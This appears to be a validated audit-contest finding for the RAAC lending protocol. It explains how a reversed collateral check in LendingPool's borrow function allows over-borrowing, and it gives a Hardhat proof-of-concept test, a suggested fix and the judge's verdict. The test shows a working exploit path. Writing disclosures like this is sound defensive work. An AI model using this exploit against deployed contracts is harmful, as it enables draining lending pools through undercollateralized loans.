Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Incorrect Collateral Validation in Borrow Function

Summary

The borrow function in the LendingPool contract has a vulnerability in its collateral validation logic that allows users to borrow more than their collateral should permit. The issue stems from an incorrect order of operations in the percentMul calculation.

Vulnerability Details

The vulnerability exists in the borrow function's collateral validation check:

if (collateralValue < userTotalDebt.percentMul(liquidationThreshold)) {
revert NotEnoughCollateralToBorrow();
}

When a user with 100 ETH collateral attempts to borrow 120 ETH:

  1. userTotalDebt = 120 ETH

  2. liquidationThreshold = 80% (8000 basis points)

  3. userTotalDebt.percentMul(liquidationThreshold) = 96 ETH

  4. 100 ETH collateral > 96 ETH required -> Check passes incorrectly

Proof of Concept: Add this test to LendingPool.test.js to reproduce the issue.

describe("Proof of Concept", function () {
beforeEach(async function () {
const depositAmount = ethers.parseEther("1000");
await crvusd.connect(user2).approve(lendingPool.target, depositAmount);
await lendingPool.connect(user2).deposit(depositAmount);
// Deposit the first NFT token
const firstTokenId = 1;
await raacNFT.connect(user1).approve(lendingPool.target, firstTokenId);
await lendingPool.connect(user1).depositNFT(firstTokenId);
});
it("should allow borrowing more than the collateral value", async function () {
// Check the collateral value of user1
const collateralValue = await lendingPool.getUserCollateralValue(user1.address);
expect(collateralValue).to.eq(ethers.parseEther("100"));
// Remember the current crvUSD balance of user1
const beforeCrvUSDBalance = await crvusd.balanceOf(user1.address);
// Attempt to borrow more than the collateral value
const borrowAmount = ethers.parseEther("120");
await lendingPool.connect(user1).borrow(borrowAmount);
// The previous step should have reverted, but it succeeds. Let's check balances.
const afterDebtTokenBalance = await debtToken.balanceOf(user1.address);
const afterCrvUSDBalance = await crvusd.balanceOf(user1.address);
// user1 successfully borrows 120 ether while having only 100 ether in collateral
expect(afterDebtTokenBalance).to.eq(borrowAmount);
expect(afterCrvUSDBalance).to.eq(beforeCrvUSDBalance + borrowAmount);
});
});

Impact

  • Users can borrow more than their collateral should allow, putting the protocol at risk of undercollateralized loans. In the example above, a user with 100 ETH collateral can borrow 120 ETH when they should only be able to borrow 80 ETH

Tools Used

  • Manual code review

  • Hardhat test suite

Recommendations

Modify the collateral validation check in the borrow function to:

if (collateralValue.percentMul(liquidationThreshold) < userTotalDebt) {
revert NotEnoughCollateralToBorrow();
}

This ensures the collateral value is scaled by the liquidation threshold before comparing to the debt amount.

Updates

Lead Judging Commences

inallhonesty Lead Judge 6 months ago
Submission Judgement Published
Validated
Assigned finding tags:

LendingPool::borrow as well as withdrawNFT() reverses collateralization check, comparing collateral < debt*0.8 instead of collateral*0.8 > debt, allowing 125% borrowing vs intended 80%

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.